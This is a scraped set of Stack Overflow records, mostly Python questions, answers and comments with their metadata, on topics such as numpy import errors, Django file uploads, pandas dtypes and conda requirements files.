tagged with: css
answer count: 4
upvote count: 2
has answer: http://stackoverflow.com/a/60838059
type: UnansweredQuestion
downvote count: 1
has comment: http://stackoverflow.com/comment/84434517
has comment: http://stackoverflow.com/comment/84393489
has comment: http://stackoverflow.com/comment/84393788
linked to: http://stackoverflow.com/q/5558613
score: 1
linked to: http://stackoverflow.com/q/11901521
type: Question
has comment: http://stackoverflow.com/comment/138306651
has body: I have some 1000 html pages. I need to update the names which is present at the footer of every html page. What is the best possible efficient way of updating these html pages instead of editing each name in those html pages one by one. Edit: Even if we use some sort of scripts, we have to make changes to every html file. One possible way could be using Editor function. Please share if anybody has any another way of doing it.
has answer: http://stackoverflow.com/a/74901131
has title: How to update static content in multiple HTML pages
has comment: http://stackoverflow.com/comment/84393504
tagged with: javascript
has answer: http://stackoverflow.com/a/48697408
has answer: http://stackoverflow.com/a/48697392
favorite count: 0
has comment: http://stackoverflow.com/comment/84393526

http://stackoverflow.com/q/48739493
has answer: http://stackoverflow.com/a/48739794
tagged with: python
has title: Numpy can't import even though conda says installed
accepted answer: http://stackoverflow.com/a/48739794
type: AnsweredQuestion
score: 2
upvote count: 2
type: Question
tagged with: numpy
tagged with: ubuntu-16.04
has body: Numpy somehow stopped working. I thought it might have been because I changed my $PATH env variable, but that doesn't really make sense. I did run source, then source .bashr and then source .bashrc and then source ~/.bashrc all in a row, so that might have something to do with it. conda list | grep numpy still returns reasonable things Here is the error it prints when I try to import numpy &gt;&gt;&gt;import numpy as np Traceback (most recent call last): File "&lt;stdin&gt;", line 1, in &lt;module&gt; ModuleNotFoundError: No module named 'numpy' Error in sys.excepthook: Traceback (most recent call last): File "/usr/lib/python3/dist-packages/apport_python_hook.py", line 63, in apport_excepthook from apport.fileutils import likely_packaged, get_recent_crashes File "/usr/lib/python3/dist-packages/apport/__init__.py", line 5, in &lt;module&gt; from apport.report import Report File "/usr/lib/python3/dist-packages/apport/report.py", line 30, in &lt;module&gt; import apport.fileutils File "/usr/lib/python3/dist-packages/apport/fileutils.py", line 23, in &lt;module&gt; from apport.packaging_impl import impl as packaging File "/usr/lib/python3/dist-packages/apport/packaging_impl.py", line 23, in &lt;module&gt; import apt File "/usr/lib/python3/dist-packages/apt/__init__.py", line 23, in &lt;module&gt; import apt_pkg ModuleNotFoundError: No module named 'apt_pkg' Original exception was: Traceback (most recent call last): File "&lt;stdin&gt;", line 1, in &lt;module&gt; ModuleNotFoundError: No module named 'numpy' EDIT: I have tried importing all the other packages I have since installed via Conda and none of them have worked either. They all seem to give similar errors (1. Error in sys.excepthook: and 2. No module named 'apt_pkg')
answer count: 1
downvote count: 0
favorite count: 0

http://stackoverflow.com/comment/84327671
comment on: http://stackoverflow.com/q/48665128
score: 1
has text: Don't put `()` after the function names inside your dict. That _calls_ the functions. You just want to reference them.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84587354
comment on: http://stackoverflow.com/q/48791666
has text: @J.Yonathan I tried something like that as well but it did not work, this is what I tried. Also I have around 3 thousand entires in my dictionary so I didnt do one of the lines in the page you linked `workbook = xlsxwriter.Workbook('file.xlsx') worksheet = workbook.add_worksheet() row = 0 col = 0 for key in master.keys(): row += 1 worksheet.write(row, col, key) for item in master[key]: worksheet.write(row, col + 1, item) row += 1 workbook.close()`
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/128820561
score: 0
type: AnswerComment
type: Comment
has text: Sorry, I don’t understand your question: your “list” isn’t part of a docx document structure, it’s just an ordinary Python set (not a list, btw). You would first have to somehow convert this set into a part of a docx document. You could also increase your chances of getting an answer if you don’t hide your question in the comment for another four year old question.
comment on: http://stackoverflow.com/a/48666968

http://stackoverflow.com/a/48724085
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/48720252
answers question: http://stackoverflow.com/q/48720252
has body: Possible solution using pipes. On my pc this takes 870ms, compared to 1.10s of test1 and 200ms of test2. def init3(child_conn): d = {} for i in range(1000): l = [] for k in range(i): l.append(i) d[i] = l child_conn.send(d) def test3(): import multiprocess as mp parent_conn, child_conn = mp.Pipe(duplex=False) p = mp.Process(target=init3, args=(child_conn,)) p.start() d = parent_conn.recv() p.join() On jupyter, by using magic %timeit I get: In [01]: %timeit test3() 872 ms ± 11.9 ms per loop (mean ± std. dev. of 7 runs, 1 loop each) In [02]: %timeit test2() 199 ms ± 1.72 ms per loop (mean ± std. dev. of 7 runs, 10 loops each) In [03]: %timeit test1() 1.09 s ± 10.1 ms per loop (mean ± std. dev. of 7 runs, 1 loop each)
score: 0

http://stackoverflow.com/q/48720487
has answer: http://stackoverflow.com/a/56341693
answer count: 1
has comment: http://stackoverflow.com/comment/84439931
type: UnansweredQuestion
score: 2
downvote count: 0
tagged with: file-upload
favorite count: 0
has title: How to upload and read PDF files in Django
type: Question
has body: I am trying to create a simple django application which takes some PDF files from user and then read its contents. So far I have written the code as mentioned below, But it doesn't seem to work. It's producing an error at this line PyPDF2.PdfFileReader(open(filename)) TypeError: expected str, bytes or os.PathLike object, not TemporaryUploadedFile index.html &lt;input type="file" name="fupload" multiple&gt; view.py if request.method == 'POST': files = request.FILES.getlist('fupload') pdf_data = [] for filename in files: read_pdf = PyPDF2.PdfFileReader(open(filename)) page = read_pdf.getPage(0) page_content = page.extractText() pdf_data.append(page_content) Can any body tell me what I am doing wrong. Thanks in advance
tagged with: python
tagged with: python-3.x
tagged with: pypdf
upvote count: 2
tagged with: django

http://stackoverflow.com/comment/84571934
comment on: http://stackoverflow.com/a/48785019
has text: this will fetch all the movies available in hungama-picks (one section), but what if I want to get all the movies from http://www.hungama.com/movies/ url. I appreciate your help.
type: AnswerComment
type: Comment
score: 0

http://stackoverflow.com/a/48754570
accepted answer of: http://stackoverflow.com/q/48753943
score: 1
upvote count: 1
has body: I cannot reproduce your first issue. You can quit() by calling master.quit() within def buttonAction():, there should be something else missing. Your second issue though, it is because compGDB is locally created within the function buttonAction, so once the function is done the attribute ceases to be. While the better advice is to rebuild your code as a class and define compGDB as an instance/class attribute (so you can recall it as long as the class instance is still in memory), you can see it can be a bit of work. An easy workaround (IMO not best practice) would be: compGDB = '' def buttonAction(): global compGDB compGDB = choice.get() master.quit() So that this way, the global attribute compGDB is still retained and you can recall it anywhere even after master.mainloop(). But again, consider using an OOP approach for your tkinter if you have use for the information afterwards. It'll help maintain your namespace easier especially for complex scripts.
has comment: http://stackoverflow.com/comment/84537797
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/48753943
type: Answer

http://stackoverflow.com/comment/84461810
comment on: http://stackoverflow.com/q/48722770
score: 0
type: Comment
type: QuestionComment
has text: Let us [continue this discussion in chat](http://chat.stackoverflow.com/rooms/164915/discussion-between-faizal-a-and-eyllanesc).

http://stackoverflow.com/comment/84334648
comment on: http://stackoverflow.com/a/48668151
score: 0
type: AnswerComment
type: Comment
has text: @goodvibration: in a small script or application, sure, there is little point. But the library can handle far more complex use cases.

http://stackoverflow.com/a/48695449
has comment: http://stackoverflow.com/comment/84390102
has comment: http://stackoverflow.com/comment/84390215
score: 2
has comment: http://stackoverflow.com/comment/84389744
downvote count: 0
has comment: http://stackoverflow.com/comment/84390141
has comment: http://stackoverflow.com/comment/84389933
has comment: http://stackoverflow.com/comment/84390020
upvote count: 2
has comment: http://stackoverflow.com/comment/84389809
has comment: http://stackoverflow.com/comment/84389946
has comment: http://stackoverflow.com/comment/84389779
has comment: http://stackoverflow.com/comment/84396567
answers question: http://stackoverflow.com/q/48695308
has comment: http://stackoverflow.com/comment/84389883
has comment: http://stackoverflow.com/comment/84391299
type: Answer
has body: Approach #1 We could do it in two steps for a vectorized solution with np.tensordot and np.einsum - parte1 = np.tensordot(X, V, axes=(1,0)) out = np.einsum('ijk,ikl-&gt;ijl',parte1, X) For a sparse matrix V, use the following to get parte1 : (X.swapaxes(1,2).reshape(-1,n)*V).reshape(k,d,n) Approach #2 Alternatively, in one einsum call - np.einsum('ijk,jl,ilm-&gt;ikm',X, V, X) Note: We could experiment with optimize=True in einsum call to bring about further speedups with the newer NumPy versions.

http://stackoverflow.com/q/48714726
tagged with: python
tagged with: kivy
answer count: 0
type: UnansweredQuestion
type: Question
has body: I want to use DropDown for selection function for next using. In my code it is mean that: I press button Create Function DropDownMenu.on_create() sent event on_create_folder DropDownButton.on_create_folder() catches event But function DropDownButton.on_create_folder() is not activated by event. How is problem in my code? Builder.load_string(''' &lt;FolderDropDownMenu&gt;: Button: text: 'Create' on_release: root.on_create('inst', 'val') Button: text: 'Remove' on_release: root.on_remove('inst', 'val') ''') # dropdown menu class DropDownMenu(DropDown): def __init__(self, **kwargs): super(FolderDropDownMenu, self).__init__(**kwargs) self.register_event_type('on_create_folder') def on_create_folder(self): pass def on_create(self, inst, val): self.dispatch('on_create_folder') return # main button class DropDownButton(BoxLayout): def __init__(self, **kwarg): super(FolderDropDownButton, self).__init__(**kwarg) self.dropdown = FolderDropDownMenu() self.dropdown.bind(on_create_folder = lambda *largs: self.on_create_folder) . . . . . . return def on_create_folder(self, inst, val): . . . . . . return
has comment: http://stackoverflow.com/comment/84464015
score: 0
has title: Kivy: Using custom event
has comment: http://stackoverflow.com/comment/84554835

http://stackoverflow.com/comment/84473291
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/48736801
type: Comment
has text: Can you include a minimal example of the result of `print(resp)`?

http://stackoverflow.com/a/48797558
type: Answer
has body: You could try to run the jupyter notebook server as a Docker container. That way your environment variables will be isolated from the container. Ipython has an available docker image, so you need to install docker if this approach works for you. Installing Ipython Docker Image If you need to pass environment variables for the Docker container refer to this question: Passing env variables to docker
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/48796695
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48796695
has comment: http://stackoverflow.com/comment/84633750
type: AcceptedAnswer

http://stackoverflow.com/comment/84380946
score: 0
has text: So this code will not convert the integer into another integer? Example 32 in base 3 is 1012
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48691121

http://stackoverflow.com/comment/84464902
type: Comment
type: QuestionComment
has text: It's compiling again!! After using $HOME!! Will inform you
comment on: http://stackoverflow.com/q/48722813
score: 0

http://stackoverflow.com/a/48750615
type: Answer
has body: pandas appears to be presuming that your datatype is an integer (int). There are several ways to address this, either by setting the datatype to a float when the DataFrame is constructed OR by changing (or casting) the datatype (also referred to as a dtype) to a float on the fly. setting the datatype (dtype) during construction: &gt;&gt;&gt; import pandas as pd In making this simple DataFrame, we provide a single example value (1) and the columns for the DataFrame are defined as containing floats during creation &gt;&gt;&gt; df = pd.DataFrame([[1]], columns=['column1'], index=['row1'], dtype=float) &gt;&gt;&gt; df['column1']['row1'] = 1 / 331616 &gt;&gt;&gt; df column1 row1 0.000003 converting the datatype on the fly: &gt;&gt;&gt; df = pd.DataFrame([[1]], columns=['column1'], index=['row1'], dtype=int) &gt;&gt;&gt; df['column1'] = df['column1'].astype(float) &gt;&gt;&gt; df['column1']['row1'] = 1 / 331616 df column1 row1 0.000003
downvote count: 0
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/48749995

http://stackoverflow.com/comment/84587843
score: 1
has text: Please clarify exactly what your agreement score should be for the single row you show in your example (preferably, add a couple of more rows along with the expected results); also, you don't show the definition of `agreement_udf`.
type: Comment
comment on: http://stackoverflow.com/q/48791633
type: QuestionComment

http://stackoverflow.com/q/48715577
type: AnsweredQuestion
score: 2
possible better answer: http://stackoverflow.com/a/48715647
has answer: http://stackoverflow.com/a/48715631
type: Question
answer count: 2
tagged with: python-import
accepted answer: http://stackoverflow.com/a/48715631
downvote count: 0
has title: Prohibiting import in Python using import statement
has body: I want to restrict the import of some modules in Python 3 (but for the scope of this question let's say that I want to restrict any import). This is the way I am trying to do it: def __import__(self, *args, **kwrgs): raise ImportError("Imports are not allowed") import math print math.sqrt(4) It is my understanding that this should raise exception, and it is based on that document - https://docs.python.org/3/reference/import.html#importsystem that says The search operation of the import statement is defined as a call to the __import__() function, with the appropriate arguments. However, it does not. I would greatly appreciate an explanation as to why and suggestions how to accomplish my goal
tagged with: python
has comment: http://stackoverflow.com/comment/84430392
favorite count: 0
tagged with: python-3.x
upvote count: 2
has answer: http://stackoverflow.com/a/48715647

http://stackoverflow.com/a/48787947
has body: Simplier is use only one function and return all values converterted to Series and last join to original DataFrame: def Spelling(ask): a = difflib.get_close_matches(ask, Li_A, n=3, cutoff=0.5) #list comprehension for all values of a b = [difflib.SequenceMatcher(None, ask, x).ratio() for x in a] return pd.Series(a + b) df = df_B['one'].apply(Spelling) #get correct columns names a = len(df.columns) // 2 df.columns = ['Spelling_{}'.format(x) for x in range(a)] + \ ['Spell_Score{}'.format(y) for y in range(a)] df1 = df_B.join(df) print (df1) one two Spelling_0 Spelling_1 Spell_Score0 Spell_Score1 a potat0 po1ato potato tomato 0.833333 0.5 b toma3o 2omato tomato 0.833333 NaN NaN c s5uash squ0sh squash 0.833333 NaN NaN d ap8le 2pple apple 0.8 NaN NaN e pea7 p3ar pear 0.75 NaN NaN
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/84782019
has comment: http://stackoverflow.com/comment/84614453
accepted answer of: http://stackoverflow.com/q/48786204
type: Answer
score: 1
answers question: http://stackoverflow.com/q/48786204
upvote count: 1

http://stackoverflow.com/q/48783576
tagged with: python-3.x
has answer: http://stackoverflow.com/a/48784349
type: UnansweredQuestion
score: 0
upvote count: 1
tagged with: python
downvote count: 1
tagged with: pyqt5
has body: I have a qtablewidget with 3 columns and 1 row in pyqt5. Now I want to get the value of every column separately and store that in a variable that I can print them back one by one. I do like this but it just prints the first column value def PrintData(self): name = self.tableWidget.itemAt(self.tableWidget.currentColumn() , 0).text() email = self.tableWidget.itemAt(self.tableWidget.currentColumn(), 1).text() print(name) print(email)
type: Question
has title: pyqt5 qtablewdiget printing every column data separately
answer count: 1
favorite count: 0

http://stackoverflow.com/comment/84473733
comment on: http://stackoverflow.com/a/48736800
has text: Thanks. Could you please explain this line "comb = df.groupby(['Document_Source'])["Title"].apply( lambda x: [tuple(sorted(pair)) for pair in combinations(x, 2)] ).sum()"
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/q/48762286
favorite count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84545614
tagged with: supervised-learning
tagged with: python
score: 2
tagged with: pca
upvote count: 2
has body: So I have a data set of 700 texts annotated by difficulty levels. Each text has 150 features: feature_names = ['F1','F2','F3'...] shape (1, 150) features_x = ['0.1','0,765', '0.543'...] shape (700, 150) correct_answers_y = ['1','2','4'...] shape (1,700) I want to use PCA to find out the most informative sets of features, something like: Component1 = 0,76*F1+0.11*F4-0.22*F7 How can I do so? The code from sklearn user gide have some numbers as output, but I don`t understand how to unterpret them. fit_xy = pca.fit(features_x,correct_answers_y) array([ 4.01783322e-01, 1.98421989e-01, 3.08468655e-01, 4.28813755e-02, ...])
type: Question
has answer: http://stackoverflow.com/a/48779163
has comment: http://stackoverflow.com/comment/84561006
has comment: http://stackoverflow.com/comment/84525798
has title: How to interpret PCA results in supervised ML
answer count: 1
downvote count: 0
tagged with: scikit-learn

http://stackoverflow.com/comment/84406863
type: QuestionComment
comment on: http://stackoverflow.com/q/48698892
score: 1
type: Comment
has text: And you are sure switching the programming languages will help? Why don't you provide the data you used and show what you have done in Mathematica?

http://stackoverflow.com/q/48666127
has comment: http://stackoverflow.com/comment/84355730
upvote count: 1
has comment: http://stackoverflow.com/comment/84330116
type: Question
tagged with: escaping
tagged with: encoding
has title: Avoid escaping of characters when converting JSON to XML
has answer: http://stackoverflow.com/a/48667663
has comment: http://stackoverflow.com/comment/84358090
answer count: 1
downvote count: 0
has body: Is there a way in python to modify my JSON in a way that when I send JSON input to my SOAP api which converts the data to XML, then the json data is not escaped. This is JSON data: {'test1': [{'entityClass': '', 'entityMode': 'Q', 'Mgr2': '', 'Mgr3': '', 'Mgr1': '', 'Recid': 0, 'CSRCode': '', }, {'entityClass': '', 'entityMode': 'Q', 'Mgr2': '', 'Mgr3': '', 'Mgr1': '', 'Recid': 0, 'CSRCode': ''}]} I'm passing these arguments to the Suds library, to call the SOAP api. When these are passed to soap api which converts it to XML, this becomes: &lt;TblJSONData&gt;{&amp;apos;tblw&amp;apos;: [{&amp;apos;CSRClass&amp;apos;: &amp;apos;&amp;apos;, &amp;apos;Mode&amp;apos;: &amp;apos;Q&amp;apos;, &amp;apos;EscMgr2&amp;apos;: &amp;apos;&amp;apos;, &amp;apos;EscMgr3&amp;apos;: &amp;apos;&amp;apos;, &amp;apos;EscMgr1&amp;apos;: &amp;apos;&amp;apos;, &amp;apos;EntityRecid&amp;apos;: 0, &amp;apos;CSRCode&amp;apos;: &amp;apos;11945&amp;apos;, &amp;apos;Entity&amp;apos;: &amp;apos;&amp;apos;, &amp;apos;RC&amp;apos;: 0, &amp;apos;ErrMsg&amp;apos;: &amp;apos;&amp;apos;, &amp;apos;EntityCount&amp;apos;: 0}, {&amp;apos;CSRClass&amp;apos;: &amp;apos;&amp;apos;, &amp;apos;Mode&amp;apos;: &amp;apos;Q&amp;apos;, &amp;apos;EscMgr2&amp;apos;: &amp;apos;&amp;apos;, &amp;apos;EscMgr3&amp;apos;: &amp;apos;&amp;apos;, &amp;apos;EscMgr1&amp;apos;: &amp;apos;&amp;apos;, &amp;apos;EntityRecid&amp;apos;: 0, &amp;apos;CSRCode&amp;apos;: &amp;apos;96456&amp;apos;, &amp;apos;Entity&amp;apos;: &amp;apos;&amp;apos;, &amp;apos;RC&amp;apos;: 0, &amp;apos;ErrMsg&amp;apos;: &amp;apos;&amp;apos;, &amp;apos;EntityCount&amp;apos;: 0}, {&amp;apos;CSRClass&amp;apos;: &amp;apos;&amp;apos;, &amp;apos;Mode&amp;apos;: &amp;apos;Q&amp;apos;, &amp;apos;EscMgr2&amp;apos;: &amp;apos;&amp;apos;, &amp;apos;EscMgr3&amp;apos;: &amp;apos;&amp;apos;, &amp;apos;EscMgr1&amp;apos;: &amp;apos;&amp;apos;, &amp;apos;EntityRecid&amp;apos;: 0, &amp;apos;CSRCode&amp;apos;: &amp;apos;65844&amp;apos;, &amp;apos;Entity&amp;apos;: &amp;apos;…
favorite count: 0
has comment: http://stackoverflow.com/comment/84330065
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84331078
tagged with: python
tagged with: http://stackoverflow.com/tag/xml
score: 1
tagged with: http://stackoverflow.com/tag/json

http://stackoverflow.com/comment/84415097
has text: For anyone familiar with Python but not with Perl, you might want to describe what `-n` does exactly.
type: Comment
type: QuestionComment
score: 3
comment on: http://stackoverflow.com/q/48708002

http://stackoverflow.com/comment/84291449
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48646937
has text: Thank you! I really appreciate your help. So I tried running your code but I get an error on the print statement. should i add an int or float to it?

http://stackoverflow.com/comment/84458841
type: Comment
type: QuestionComment
has text: @ParhamAlvani GCC installed successfully and cmake failed again due to the same error (c++ 11 not supported).
comment on: http://stackoverflow.com/q/48723145
score: 0

http://stackoverflow.com/q/48740671
has comment: http://stackoverflow.com/comment/84480861
type: UnansweredQuestion
tagged with: python
tagged with: http://stackoverflow.com/tag/zip
has comment: http://stackoverflow.com/comment/84480782
answer count: 0
type: Question
score: 0
has title: Unzipping a file zipped with python giving error "Unable to expand file.zip"
has body: Upon download of a file on our site, we zip up readme and tutorial files with it. Upon download of some files, I am getting this error: Unable to expand "File.zip" into "Downloads" Code below. Any ideas why this might be happening on just some files and not others? Could it be related to the content in the files themselves? if len(output_streams) > 1: # If we have multiple files, then package them up since we can only return one upload_name = file_key + '.zip' # Create a new stream and write to it write_stream = StringIO() zip_file = ZipFile(write_stream, "a") for ext_name, stream in output_streams.iteritems(): if '.' in ext_name: zip_file.writestr(ext_name, stream.getvalue().encode('utf-8','ignore')) else: zip_file.writestr(file_key + '.' + ext_name, stream.getvalue().encode('utf-8','ignore')) #adding the readme file try: if 'ManufacturerName' in manuf['manufacturer']: zip_file.writestr('how-to-import.htm', " ") else: zip_file.writestr('how-to-import.htm', " ") except: zip_file.writestr('how-to-import.htm', " ") zip_file.close()

http://stackoverflow.com/q/48733007
type: AnsweredQuestion
score: 1
has answer: http://stackoverflow.com/a/48734571
has comment: http://stackoverflow.com/comment/84465138
type: Question
has answer: http://stackoverflow.com/a/48733118
accepted answer: http://stackoverflow.com/a/48733118
answer count: 2
has comment: http://stackoverflow.com/comment/84465291
upvote count: 1
has comment: http://stackoverflow.com/comment/84465216
possible better answer: http://stackoverflow.com/a/48734571
has title: Django accessing CHOICES = () from Model
has comment: http://stackoverflow.com/comment/84465116
has comment: http://stackoverflow.com/comment/84465180
tagged with: django-1.11
tagged with: python
has body: Just wondering, I have the following model schema: class Location(models.Model): SERVICE_CHOICES = ( ('bus_station', 'Bus Station'), ('cafe', 'Café'), ('cinema', 'Cinema'), ('gardens', 'Public Gardens'), ('library', 'Library'), ('public_services', 'Public Services'), ('railway_station', 'Railway Station'), ('restaurant', 'Restaurant'), ('school', 'School'), ('shop', 'Shop'), ('supermarket', 'Supermarket'), ('tourist_attractions', 'Tourist Attractions'), ('transit_station', 'Transit Station'), ('walks', 'Walks'), ('woodland', 'Woodland'), ) title = models.CharField("Title", max_length=60, default='') description = models.TextField("Description") service_type = models.CharField("Service Type", max_length=80, choices=SERVICE_CHOICES, default='public_service') I'm just wondering how I would loop over the SERVICE_CHOICES tuple list on the frontend template? {% for service_choice in location.SERVICE_CHOICES %} ? On below suggestion, I have tried this in the view: service_types = [] fields = Location._meta.fields() for field in fields: if field.choices: service_types.append(field.choices)
favorite count: 0
downvote count: 0
tagged with: django

http://stackoverflow.com/a/51712117
type: Answer
answers question: http://stackoverflow.com/q/48738338
has body: You can just measure the loudness of the voice command spoken in mDb. You can then process these numbers to change the UI. Like , higher the loudness makes the bar longer. Let me know which speech to text engine are you using so that I can provide further help.
score: 0

http://stackoverflow.com/comment/84429682
type: Comment
type: QuestionComment
has text: I mean, it was an option, I think maybe the `\1` is the test i am looking to pass the selection into the replace
score: 0
comment on: http://stackoverflow.com/q/48715170

http://stackoverflow.com/comment/84543421
score: 0
type: Comment
has text: thanks solved..file name was wpbc_data.csv
type: QuestionComment
comment on: http://stackoverflow.com/q/48764799

http://stackoverflow.com/q/48787250
answer count: 2
has body: I'm setting up a python project, using an Anaconda virtual environment. I'm generating a requirements.txt so other people can easily set up their own virtual environment for the project. I was wondering though, when other developers want to contribute to the project, but want to use virtualenv instead of Anaconda, can they do that? I tried the following: I set up an empty project in an Anaconda environment and installed the aiohttp module. Then conda list --export &gt; requirements.txt generates the following: # This file may be used to create an environment using: # $ conda create --name &lt;env&gt; --file &lt;this file&gt; # platform: win-64 aiohttp=2.3.9=py36_0 async-timeout=2.0.0=py36hc3e01a3_0 certifi=2018.1.18=py36_0 chardet=3.0.4=py36h420ce6e_1 multidict=3.3.2=py36h72bac45_0 pip=9.0.1=py36h226ae91_4 python=3.6.4=h6538335_1 setuptools=38.4.0=py36_0 vc=14=h0510ff6_3 vs2015_runtime=14.0.25123=3 wheel=0.30.0=py36h6c3ec14_1 wincertstore=0.2=py36h7fe50ca_0 yarl=0.14.2=py36h27d1bf2_0 I set up an empty project in a virtualenv environment and installed the aiohttp module there too. pip freeze &gt; requirements.txt then generates: aiohttp==3.0.1 async-timeout==2.0.0 attrs==17.4.0 chardet==3.0.4 idna==2.6 idna-ssl==1.0.0 multidict==4.1.0 yarl==1.1.0 So apparently both outputs are different, and my theory is: once I generate my requirements.txt with conda on my project, other developers can't choose virtualenv instead - at least not if they're not prepared to install a long list requirements by hand (it will be more than just the aiohttp module of course). A first sight, importing the conda-generated requirements.txt in a project on virtualenv (pip install -r requirements-conda.txt) throws this error: Invalid requirement: 'aiohttp=2.3.9=py36_0' = is not a valid operator. Did you mean == ? Am I right when I think that if developers would like to do this, they would need to programmatically change the package list to the format that virtualenv understands, or they would ha…
downvote count: 0
accepted answer: http://stackoverflow.com/a/55687210
tagged with: virtualenv
favorite count: 0
upvote count: 85
tagged with: python
score: 85
has comment: http://stackoverflow.com/comment/84581519
type: AnsweredQuestion
tagged with: pip
has answer: http://stackoverflow.com/a/73253070
has answer: http://stackoverflow.com/a/55687210
has title: Set up virtualenv using a requirements.txt generated by conda
type: Question
linked to: http://stackoverflow.com/q/41249401
tagged with: anaconda
possible better answer: http://stackoverflow.com/a/73253070
tagged with: conda
has comment: http://stackoverflow.com/comment/84580685

http://stackoverflow.com/q/48738108
has answer: http://stackoverflow.com/a/48738194
has body: Super New to programming and still learning how to debug. Every time I run this program for Gauss elimination I get "line 16, in GaussElim tmp=A[maxRow][k] IndexError: list index out of range" I think it mean the code is stepping over the limit of the index, but I am not sure on how to correct it. Any advice would be much appreciated thank you! def GaussElim(A): n=len(A) for i in range(0,n): #search for maximum in this column maxE1=abs(A[i][i]) maxRow=i for k in range(i+1,n): if abs(A[k][i])&gt;maxE1: maxE1=abs(A[k][i]) maxRow=k # swap maximum row with current row (column by column) for k in range(i,n+1): tmp=A[maxRow][k] A[maxRow][k]=A[i][k] A[i][k]=tmp for k in range(i+1,n): c=-A[k][i]/A[i][i] for j in range(i,n+1): if i==j: A[k][j]=0 else: A[k][j]+=c*A[i][j] #solve equation Ax+b for an upper triangular matrix A x=[0 for i in range(n)] for i in range(n-1,-1,-1): x[i]=A[i][n]/A[i][i] for k in range(i-1,-1,-1): A[k][n]-=A[k][i]*x[i] return x def main(): A=[[2,7,3,6,2], [3,3,4,4,6], [6,9,5,3,3], [6,9,5,3,3], [4,2,1,7,5]] mysum1 = GaussElim(A) print('a) GaussElimination Solution = {:.1f}'.format(mysum1))
answer count: 1
type: UnansweredQuestion
score: 2
downvote count: 0
favorite count: 0
tagged with: gauss
type: Question
upvote count: 2
tagged with: python
has title: Python Gauss Elimination

http://stackoverflow.com/q/48653620
type: Question
upvote count: 1
tagged with: segmentation-fault
favorite count: 0
has comment: http://stackoverflow.com/comment/84385747
has body: I am just working on bringing up a blank black box. Super basic, but I keep getting a seg fault. import pyglet print("1\n") #Create window win = pyglet.window.Window() print("2\n") @win.event def on_draw(): win.clear() print("3\n") pyglet.app.run()` I have inputted print statements to figure out where the seg fault begins... and it faults right at the win line. (this is not my code it is from the tutorial site: https://greendalecs.wordpress.com/2012/04/21/3d-programming-in-python-part-1/)
has comment: http://stackoverflow.com/comment/84347048
has comment: http://stackoverflow.com/comment/84338003
answer count: 0
type: UnansweredQuestion
tagged with: python
tagged with: pyglet
downvote count: 0
score: 1
has title: Python Pyglet.window.Window() Seg Fault
has comment: http://stackoverflow.com/comment/84385738

matrix
tags question: http://stackoverflow.com/q/48695308
tags question: http://stackoverflow.com/q/48649477
tags question: http://stackoverflow.com/q/48675257
tag name: matrix
tags question: http://stackoverflow.com/q/48712230
tags question: http://stackoverflow.com/q/48776362
tags question: http://stackoverflow.com/q/48657283
tags question: http://stackoverflow.com/q/48711490
tags question: http://stackoverflow.com/q/48719867
tags question: http://stackoverflow.com/q/48803036
tags question: http://stackoverflow.com/q/48653917
tags question: http://stackoverflow.com/q/48671175
tags question: http://stackoverflow.com/q/48689700
tags question: http://stackoverflow.com/q/48695430
tags question: http://stackoverflow.com/q/48727096
tags question: http://stackoverflow.com/q/48727336
tags question: http://stackoverflow.com/q/48776039
tags question: http://stackoverflow.com/q/48758789
tags question: http://stackoverflow.com/q/48750689
tags question: http://stackoverflow.com/q/48670962
tags question: http://stackoverflow.com/q/48711682
tags question: http://stackoverflow.com/q/48678313
tags question: http://stackoverflow.com/q/48724449
tags question: http://stackoverflow.com/q/48655687
tags question: http://stackoverflow.com/q/48715594
tags question: http://stackoverflow.com/q/48646259
tags question: http://stackoverflow.com/q/48678848
tags question: http://stackoverflow.com/q/48671636
tags question: http://stackoverflow.com/q/48746417
tags question: http://stackoverflow.com/q/48759567
tags question: http://stackoverflow.com/q/48736176
tags question: http://stackoverflow.com/q/48704610
tags question: http://stackoverflow.com/q/48651454
type: Tag
tags question: http://stackoverflow.com/q/48770952
tags question: http://stackoverflow.com/q/48675902
tags question: http://stackoverflow.com/q/48768555

http://stackoverflow.com/comment/84567863
type: Comment
comment on: http://stackoverflow.com/q/48782980
has text: No that is my full code, i wasn't too sure how to resolve it, so i have to define password?
score: 0
type: QuestionComment

http://stackoverflow.com/comment/84497866
type: QuestionComment
has text: `append` returns `None`, very simple. If you assign it to a variable, that variable is `None`. `deepcopy()`, on the other hand, returns the copy of an object.
comment on: http://stackoverflow.com/q/48748842
type: Comment
score: 3

http://stackoverflow.com/comment/84507442
has text: Which line? Sounds like a permissions issue. Does your bot have permission to send people private messages?
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48738039
type: AnswerComment

http://stackoverflow.com/comment/84574711
comment on: http://stackoverflow.com/a/48786592
type: Comment
has text: @brunodesthuilliers Thanks for mentioning! Meant to convert it to an integer. Corrected my answer
score: 0
type: AnswerComment

http://stackoverflow.com/comment/84673581
comment on: http://stackoverflow.com/a/48745650
score: 1
has text: I will try to run your code next week. But it does not seem to be a problem with the memory size. First advice, don't use the numpy type casting in `forward_propagation` (stick with tensorflow). And try `init = tf.group(tf.global_variables_initializer(), tf.local_variables_initializer())` as the problem seems to be with some uninitialized tensor.
type: AnswerComment
type: Comment

http://stackoverflow.com/q/48675469
type: Question
upvote count: 1
tagged with: javascript
has answer: http://stackoverflow.com/a/48675927
tagged with: beautifulsoup
